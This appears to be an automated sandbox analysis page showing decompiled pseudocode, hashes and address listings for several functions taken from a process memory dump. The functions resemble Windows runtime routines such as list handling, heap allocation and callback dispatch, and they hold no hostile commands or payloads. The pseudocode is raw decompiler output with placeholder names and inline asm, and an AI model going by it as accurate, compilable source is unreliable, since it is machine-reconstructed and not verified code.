Opcode ID: 1bb5410fffaedfceeae7ae71f4783b88ac2606e83bd742b8a22b209fa0d499ef
Instruction ID: f48e01bd467efc7995058e27fe3f29ac77c1a927b8d217a2368161ce3dbc362a
Opcode Fuzzy Hash: 1bb5410fffaedfceeae7ae71f4783b88ac2606e83bd742b8a22b209fa0d499ef
Instruction Fuzzy Hash: 24217A36850B00DFC361EF68CA80F5AB7F9BF08304F184569E1099EAA1D734E941CB88

Uniqueness

Uniqueness Score: -1.00%

Function 03464257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E03464257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x34b08d0);
				E0342D08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E034641E8(__ebx, __edi, __ecx, _t39);
				E033EEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x34c87e4;
					_t18 =  *0x34c87e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x34c5cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x34c87e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x34c87e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L033D7055(_t31 + 0xfffffff8);
								_t24 =  *0x34c87e0; // 0x0
								_t18 = _t24 - 1;
								 *0x34c87e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x34c5cd0;
				if( *0x34c5cd0 <= 0) {
					L033D7055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x34c87e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x34c87e8 = _t30;
						 *0x34c87e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E0342D0D1(L03464320());
			}

0x03464257
0x03464257
0x03464257
0x03464259
0x0346425e
0x03464263
0x03464265
0x03464273
0x03464278
0x0346427c
0x0346427f
0x03464281
0x03464287
0x034642d7
0x034642d7
0x034642da
0x0346428d
0x0346428d
0x0346428f
0x03464292
0x03464297
0x0346429c
0x034642a0
0x034642a6
0x034642a8
0x034642ae
0x034642b3
0x00000000
0x034642ba
0x034642ba
0x034642bf
0x034642c5
0x034642ca
0x034642cf
0x034642d0
0x00000000
0x034642d0
0x034642b3
0x00000000
0x034642a6
0x0346429c
0x034642dc
0x034642dc
0x034642e3
0x03464309
0x034642e5
0x034642e5
0x034642e8
0x034642ee
0x034642f0
0x00000000
0x034642f2
0x034642f2
0x034642f4
0x034642f7
0x034642f9
0x03464300
0x03464300
0x034642f0
0x0346430e
0x0346431f

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82f198bdfc155a6516fe7039903df3919c45e67c417ce3bfe20664bae48fc4e9
Instruction ID: 3ab9085be2e0cb79490da9e829cd9a356b5b93976a805578adbbc9b476892574
Opcode Fuzzy Hash: 82f198bdfc155a6516fe7039903df3919c45e67c417ce3bfe20664bae48fc4e9
Instruction Fuzzy Hash: 87219074912710CFCB54EF66D440615BBF1FB85394B6482AFC116AF398EB31D481CB0A

Uniqueness

Uniqueness Score: -1.00%

Function 034546A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E034546A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L033F4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E0341F3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E0340D268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L033F77F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x034546b7
0x034546ba
0x034546c5
0x034546c8
0x034546d0
0x034546d4
0x034546e6
0x034546e9
0x034546f4
0x034546ff
0x03454705
0x03454706
0x0345470c
0x03454713
0x0345471b
0x03454723
0x03454725
0x034546d6
0x034546d9
0x034546db
0x034546db
0x03454732

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: cf7317f46ddc357ee751b708d385592af3ddeb6914d89a976885c2a08474fd0c
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: 7D11C276A04208BFCB05DF6D98809BEB7B9EF95300F1080AEF9448F351DA359E55D7A8

Uniqueness

Uniqueness Score: -1.00%

Function 034137F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E034137F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E033F2280(_t6, 0x34c8550);
				}
				_t29 = E0341387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E033EFFB0(0x34c8550, _t27, 0x34c8550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x034137fa
0x034137fc
0x03413805
0x03413808
0x03413808
0x03413814
0x03413818
0x03413846
0x03413848
0x0341384b
0x0341384b
0x03413852
0x00000000
0x03413854
0x03413856
0x00000000
0x00000000
0x03413863
0x00000000
0x03413863
0x0341381a
0x0341381a
0x0341381f
0x0341386e
0x0341386e
0x03413871
0x03413873
0x03413873
0x03413868
0x00000000
0x03413868
0x03413821
0x03413826
0x00000000
0x00000000
0x03413828
0x0341382a
0x03413841
0x00000000
0x03413841

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb728321e7b745024047dda4b3d796e741edc16e31a047df9b2b2a745217d8d0
Instruction ID: e2dfb3cc9bbeaec336cdaadf71f5553652e9f2f93df1c6484842368f5b1bb510
Opcode Fuzzy Hash: bb728321e7b745024047dda4b3d796e741edc16e31a047df9b2b2a745217d8d0
Instruction Fuzzy Hash: 350104BA901A109BC337CF1A9940A27BBEADF81A6071944AFE9098F340D7B0C811C788

Uniqueness

Uniqueness Score: -1.00%

Function 033DC962, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E033DC962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t19;
				char _t22;
				intOrPtr _t26;
				intOrPtr _t27;
				char _t32;
				char _t34;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x34cd360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E033EEEF0(0x34c70a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E0345F625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E033EEB70(_t29, 0x34c70a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E0341B640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E0345F1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x34c70c0; // 0x0
					while(_t38 != 0x34c70c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x34cb1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x033dc96a
0x033dc974
0x033dc988
0x033dc98a
0x03447c9d
0x03447c9f
0x03447ca4
0x03447cae
0x03447cf0
0x03447cf5
0x03447cfa
0x033dc992
0x033dc996
0x033dc997
0x033dc998
0x033dc9a3
0x033dc9a3
0x03447cb0
0x03447cb7
0x03447cbb
0x00000000
0x00000000
0x03447cbd
0x03447ce8
0x03447cc5
0x03447cc8
0x03447cca
0x03447cd0
0x03447cd6
0x03447cde
0x03447ce4
0x03447ce4
0x03447cd0
0x00000000
0x03447ce8
0x033dc990
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8940888ec50d767da2f59c1e586e69741ff1dad012924417f2546c8ed5c509ac
Instruction ID: f50cbe7eb948213ae7cdc6087d73bc2434838953c38a309fc4bfd4ed9a1e42e9
Opcode Fuzzy Hash: 8940888ec50d767da2f59c1e586e69741ff1dad012924417f2546c8ed5c509ac
Instruction Fuzzy Hash: A411E0316207429FD750EE29CC8592BBBE5BB84210B00053EE8529F6A1DB20EC11CBD6

Uniqueness

Uniqueness Score: -1.00%

Function 033E766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E033E766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E0340F3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E0340F3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L033F4620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x033e7672
0x033e767f
0x033e7689
0x033e76de
0x033e76de
0x033e768b
0x033e7691
0x033e7693
0x033e7697
0x00000000
0x033e7699
0x033e76a8
0x00000000
0x033e76aa
0x033e76ad
0x033e76b1
0x00000000
0x033e76b3
0x033e76b3
0x033e76b5
0x033e76ba
0x033e76bc
0x033e76bc
0x033e76c0
0x00000000
0x033e76c2
0x033e76ce
0x033e76ce
0x033e76c0
0x033e76b1
0x033e76a8
0x033e7697
0x033e76d9

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: 573d784c24a2a9b04023e7cdf092daf9f49e8141af7a51b09a2d040595d4bbb1
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: CC018832711129EFC720EE6EDC85E5BB7ADEB84664B180534BA08DF290DA30DD0187A0

Uniqueness

Uniqueness Score: -1.00%

Function 0346C450, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0346C450(intOrPtr* _a4) {
				signed char _t25;
				intOrPtr* _t26;
				intOrPtr* _t27;

				_t26 = _a4;
				_t25 =  *(_t26 + 0x10);
				if((_t25 & 0x00000003) != 1) {
					_push(0);
					_push(0);
					_push(0);
					_push( *((intOrPtr*)(_t26 + 8)));
					_push(0);
					_push( *_t26);
					E03419910();
					_t25 =  *(_t26 + 0x10);
				}
				if((_t25 & 0x00000001) != 0) {
					_push(4);
					_t7 = _t26 + 4; // 0x4
					_t27 = _t7;
					_push(_t27);
					_push(5);
					_push(0xfffffffe);
					E034195B0();
					if( *_t27 != 0) {
						_push( *_t27);
						E034195D0();
					}
				}
				_t8 = _t26 + 0x14; // 0x14
				if( *((intOrPtr*)(_t26 + 8)) != _t8) {
					L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t26 + 8)));
				}
				_push( *_t26);
				E034195D0();
				return L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t26);
			}

0x0346c458
0x0346c45d
0x0346c466
0x0346c468
0x0346c469
0x0346c46a
0x0346c46b
0x0346c46e
0x0346c46f
0x0346c471
0x0346c476
0x0346c476
0x0346c47c
0x0346c47e
0x0346c480
0x0346c480
0x0346c483
0x0346c484
0x0346c486
0x0346c488
0x0346c48f
0x0346c491
0x0346c493
0x0346c493
0x0346c48f
0x0346c498
0x0346c49e
0x0346c4ad
0x0346c4ad
0x0346c4b2
0x0346c4b4
0x0346c4cd

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction ID: 8c21a866e6e85eedbdebeefa7955d04b9aee65fd210f87aabe84d468143678f2
Opcode Fuzzy Hash: efb8dbafbc21be99c6828cd6b94329c97088fdc8e1727ade4875afce538aa955
Instruction Fuzzy Hash: 6401D276140A05BFD721EF25CCC0EA3F76DFF44390F04412AF2545A660CB22ACA1CAE4

Uniqueness

Uniqueness Score: -1.00%

Function 033D9080, Relevance: .1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E033D9080(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi) {
				intOrPtr* _t51;
				intOrPtr _t59;
				signed int _t64;
				signed int _t67;
				signed int* _t71;
				signed int _t74;
				signed int _t77;
				signed int _t82;
				intOrPtr* _t84;
				void* _t85;
				intOrPtr* _t87;
				void* _t94;
				signed int _t95;
				intOrPtr* _t97;
				signed int _t99;
				signed int _t102;
				void* _t104;

				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t97 = __ecx;
				_t102 =  *(__ecx + 0x14);
				if((_t102 & 0x02ffffff) == 0x2000000) {
					_t102 = _t102 | 0x000007d0;
				}
				_t48 =  *[fs:0x30];
				if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
					_t102 = _t102 & 0xff000000;
				}
				_t80 = 0x34c85ec;
				E033F2280(_t48, 0x34c85ec);
				_t51 =  *_t97 + 8;
				if( *_t51 != 0) {
					L6:
					return E033EFFB0(_t80, _t97, _t80);
				} else {
					 *(_t97 + 0x14) = _t102;
					_t84 =  *0x34c538c; // 0x771c6888
					if( *_t84 != 0x34c5388) {
						_t85 = 3;
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0x2c);
						_push(0x34af6e8);
						E0342D0E8(0x34c85ec, _t97, _t102);
						 *((char*)(_t104 - 0x1d)) = 0;
						_t99 =  *(_t104 + 8);
						__eflags = _t99;
						if(_t99 == 0) {
							L13:
							__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
							if(__eflags == 0) {
								E034A88F5(_t80, _t85, 0x34c5388, _t99, _t102, __eflags);
							}
						} else {
							__eflags = _t99 -  *0x34c86c0; // 0x2f807b0
							if(__eflags == 0) {
								goto L13;
							} else {
								__eflags = _t99 -  *0x34c86b8; // 0x0
								if(__eflags == 0) {
									goto L13;
								} else {
									_t59 =  *((intOrPtr*)( *[fs:0x30] + 0xc));
									__eflags =  *((char*)(_t59 + 0x28));
									if( *((char*)(_t59 + 0x28)) == 0) {
										E033F2280(_t99 + 0xe0, _t99 + 0xe0);
										 *(_t104 - 4) =  *(_t104 - 4) & 0x00000000;
										__eflags =  *((char*)(_t99 + 0xe5));
										if(__eflags != 0) {
											E034A88F5(0x34c85ec, _t85, 0x34c5388, _t99, _t102, __eflags);
										} else {
											__eflags =  *((char*)(_t99 + 0xe4));
											if( *((char*)(_t99 + 0xe4)) == 0) {
												 *((char*)(_t99 + 0xe4)) = 1;
												_push(_t99);
												_push( *((intOrPtr*)(_t99 + 0x24)));
												E0341AFD0();
											}
											while(1) {
												_t71 = _t99 + 8;
												 *(_t104 - 0x2c) = _t71;
												_t80 =  *_t71;
												_t95 = _t71[1];
												 *(_t104 - 0x28) = _t80;
												 *(_t104 - 0x24) = _t95;
												while(1) {
													L19:
													__eflags = _t95;
													if(_t95 == 0) {
														break;
													}
													_t102 = _t80;
													 *(_t104 - 0x30) = _t95;
													 *(_t104 - 0x24) = _t95 - 1;
													asm("lock cmpxchg8b [edi]");
													_t80 = _t102;
													 *(_t104 - 0x28) = _t80;
													 *(_t104 - 0x24) = _t95;
													__eflags = _t80 - _t102;
													_t99 =  *(_t104 + 8);
													if(_t80 != _t102) {
														continue;
													} else {
														__eflags = _t95 -  *(_t104 - 0x30);
														if(_t95 !=  *(_t104 - 0x30)) {
															continue;
														} else {
															__eflags = _t95;
															if(_t95 != 0) {
																_t74 = 0;
																 *(_t104 - 0x34) = 0;
																_t102 = 0;
																__eflags = 0;
																while(1) {
																	 *(_t104 - 0x3c) = _t102;
																	__eflags = _t102 - 3;
																	if(_t102 >= 3) {
																		break;
																	}
																	__eflags = _t74;
																	if(_t74 != 0) {
																		L49:
																		_t102 =  *_t74;
																		__eflags = _t102;
																		if(_t102 != 0) {
																			_t102 =  *(_t102 + 4);
																			__eflags = _t102;
																			if(_t102 != 0) {
																				 *0x34cb1e0(_t74, _t99);
																				 *_t102();
																			}
																		}
																		do {
																			_t71 = _t99 + 8;
																			 *(_t104 - 0x2c) = _t71;
																			_t80 =  *_t71;
																			_t95 = _t71[1];
																			 *(_t104 - 0x28) = _t80;
																			 *(_t104 - 0x24) = _t95;
																			goto L19;
																		} while (_t74 == 0);
																		goto L49;
																	} else {
																		_t82 = 0;
																		__eflags = 0;
																		while(1) {
																			 *(_t104 - 0x38) = _t82;
																			__eflags = _t82 -  *0x34c84c0;
																			if(_t82 >=  *0x34c84c0) {
																				break;
																			}
																			__eflags = _t74;
																			if(_t74 == 0) {
																				_t77 = E034A9063(_t82 * 0xc +  *((intOrPtr*)(_t99 + 0x10 + _t102 * 4)), _t95, _t99);
																				__eflags = _t77;
																				if(_t77 == 0) {
																					_t74 = 0;
																					__eflags = 0;
																				} else {
																					_t74 = _t77 + 0xfffffff4;
																				}
																				 *(_t104 - 0x34) = _t74;
																				_t82 = _t82 + 1;
																				continue;
																			}
																			break;
																		}
																		_t102 = _t102 + 1;
																		continue;
																	}
																	goto L20;
																}
																__eflags = _t74;
															}
														}
													}
													break;
												}
												L20:
												 *((intOrPtr*)(_t99 + 0xf4)) =  *((intOrPtr*)(_t104 + 4));
												 *((char*)(_t99 + 0xe5)) = 1;
												 *((char*)(_t104 - 0x1d)) = 1;
												goto L21;
											}
										}
										L21:
										 *(_t104 - 4) = 0xfffffffe;
										E033D922A(_t99);
										_t64 = E033F7D50();
										__eflags = _t64;
										if(_t64 != 0) {
											_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
										} else {
											_t67 = 0x7ffe0386;
										}
										__eflags =  *_t67;
										if( *_t67 != 0) {
											_t67 = E034A8B58(_t99);
										}
										__eflags =  *((char*)(_t104 - 0x1d));
										if( *((char*)(_t104 - 0x1d)) != 0) {
											__eflags = _t99 -  *0x34c86c0; // 0x2f807b0
											if(__eflags != 0) {
												__eflags = _t99 -  *0x34c86b8; // 0x0
												if(__eflags == 0) {
													_t94 = 0x34c86bc;
													_t87 = 0x34c86b8;
													goto L27;
												} else {
													__eflags = _t67 | 0xffffffff;
													asm("lock xadd [edi], eax");
													if(__eflags == 0) {
														E033D9240(_t80, _t99, _t99, _t102, __eflags);
													}
												}
											} else {
												_t94 = 0x34c86c4;
												_t87 = 0x34c86c0;
												L27:
												E03409B82(_t80, _t87, _t94, _t99, _t102, __eflags);
											}
										}
									} else {
										goto L13;
									}
								}
							}
						}
						return E0342D130(_t80, _t99, _t102);
					} else {
						 *_t51 = 0x34c5388;
						 *((intOrPtr*)(_t51 + 4)) = _t84;
						 *_t84 = _t51;
						 *0x34c538c = _t51;
						goto L6;
					}
				}
			}

0x033d9082
0x033d9083
0x033d9084
0x033d9085
0x033d9087
0x033d9096
0x033d9098
0x033d9098
0x033d909e
0x033d90a8
0x033d90e7
0x033d90e7
0x033d90aa
0x033d90b0
0x033d90b7
0x033d90bd
0x033d90dd
0x033d90e6
0x033d90bf
0x033d90bf
0x033d90c7
0x033d90cf
0x033d90f1
0x033d90f2
0x033d90f4
0x033d90f5
0x033d90f6
0x033d90f7
0x033d90f8
0x033d90f9
0x033d90fa
0x033d90fb
0x033d90fc
0x033d90fd
0x033d90fe
0x033d90ff
0x033d9100
0x033d9102
0x033d9107
0x033d910c
0x033d9110
0x033d9113
0x033d9115
0x033d9136
0x033d913f
0x033d9143
0x034337e4
0x034337e4
0x033d9117
0x033d9117
0x033d911d
0x00000000
0x033d911f
0x033d911f
0x033d9125
0x00000000
0x033d9127
0x033d912d
0x033d9130
0x033d9134
0x033d9158
0x033d915d
0x033d9161
0x033d9168
0x03433715
0x033d916e
0x033d916e
0x033d9175
0x033d9177
0x033d917e
0x033d917f
0x033d9182
0x033d9182
0x033d9187
0x033d9187
0x033d918a
0x033d918d
0x033d918f
0x033d9192
0x033d9195
0x033d9198
0x033d9198
0x033d9198
0x033d919a
0x00000000
0x00000000
0x0343371f
0x03433721
0x03433727
0x0343372f
0x03433733
0x03433735
0x03433738
0x0343373b
0x0343373d
0x03433740
0x00000000
0x03433746
0x03433746
0x03433749
0x00000000
0x0343374f
0x0343374f
0x03433751
0x03433757
0x03433759
0x0343375c
0x0343375c
0x0343375e
0x0343375e
0x03433761
0x03433764
0x00000000
0x00000000
0x03433766
0x03433768
0x034337a3
0x034337a3
0x034337a5
0x034337a7
0x034337ad
0x034337b0
0x034337b2
0x034337bc
0x034337c2
0x034337c2
0x034337b2
0x033d9187
0x033d9187
0x033d918a
0x033d918d
0x033d918f
0x033d9192
0x033d9195
0x00000000
0x033d9195
0x00000000
0x0343376a
0x0343376a
0x0343376a
0x0343376c
0x0343376c
0x0343376f
0x03433775
0x00000000
0x00000000
0x03433777
0x03433779
0x03433782
0x03433787
0x03433789
0x03433790
0x03433790
0x0343378b
0x0343378b
0x0343378b
0x03433792
0x03433795
0x00000000
0x03433795
0x00000000
0x03433779
0x03433798
0x00000000
0x03433798
0x00000000
0x03433768
0x0343379b
0x0343379b
0x03433751
0x03433749
0x00000000
0x03433740
0x033d91a0
0x033d91a3
0x033d91a9
0x033d91b0
0x00000000
0x033d91b0
0x033d9187
0x033d91b4
0x033d91b4
0x033d91bb
0x033d91c0
0x033d91c5
0x033d91c7
0x034337da
0x033d91cd
0x033d91cd
0x033d91cd
0x033d91d2
0x033d91d5
0x033d9239
0x033d9239
0x033d91d7
0x033d91db
0x033d91e1
0x033d91e7
0x033d91fd
0x033d9203
0x033d921e
0x033d9223
0x00000000
0x033d9205
0x033d9205
0x033d9208
0x033d920c
0x033d9214
0x033d9214
0x033d920c
0x033d91e9
0x033d91e9
0x033d91ee
0x033d91f3
0x033d91f3
0x033d91f3
0x033d91e7
0x00000000
0x00000000
0x00000000
0x033d9134
0x033d9125
0x033d911d
0x033d914e
0x033d90d1
0x033d90d1
0x033d90d3
0x033d90d6
0x033d90d8
0x00000000
0x033d90d8
0x033d90cf

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f300f2d8e12c1fe2465badcbd9fb27ba70876e4941ff215055361143854436f
Instruction ID: bf05fb9bd72e64b09295389ea0fefbcf21e3d5465b7ddfd3b3518885640916ab
Opcode Fuzzy Hash: 0f300f2d8e12c1fe2465badcbd9fb27ba70876e4941ff215055361143854436f
Instruction Fuzzy Hash: B4018173A116049FC365DF15FC80B16B7A9EB86320F2941A7E505DF6A1C378EC41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 034A4015, Relevance: .0, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E034A4015(signed int __eax, signed int __ecx) {
				void* __ebx;
				void* __edi;
				signed char _t10;
				signed int _t28;

				_push(__ecx);
				_t28 = __ecx;
				asm("lock xadd [edi+0x24], eax");
				_t10 = (__eax | 0xffffffff) - 1;
				if(_t10 == 0) {
					_t1 = _t28 + 0x1c; // 0x1e
					E033F2280(_t10, _t1);
					 *((intOrPtr*)(_t28 + 0x20)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
					E033F2280( *((intOrPtr*)( *[fs:0x18] + 0x24)), 0x34c86ac);
					E033DF900(0x34c86d4, _t28);
					E033EFFB0(0x34c86ac, _t28, 0x34c86ac);
					 *((intOrPtr*)(_t28 + 0x20)) = 0;
					E033EFFB0(0, _t28, _t1);
					_t18 =  *((intOrPtr*)(_t28 + 0x94));
					if( *((intOrPtr*)(_t28 + 0x94)) != 0) {
						L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
					}
					_t10 = L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t28);
				}
				return _t10;
			}

0x034a401a
0x034a401e
0x034a4023
0x034a4028
0x034a4029
0x034a402b
0x034a402f
0x034a4043
0x034a4046
0x034a4051
0x034a4057
0x034a405f
0x034a4062
0x034a4067
0x034a406f
0x034a407c
0x034a407c
0x034a408c
0x034a408c
0x034a4097

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
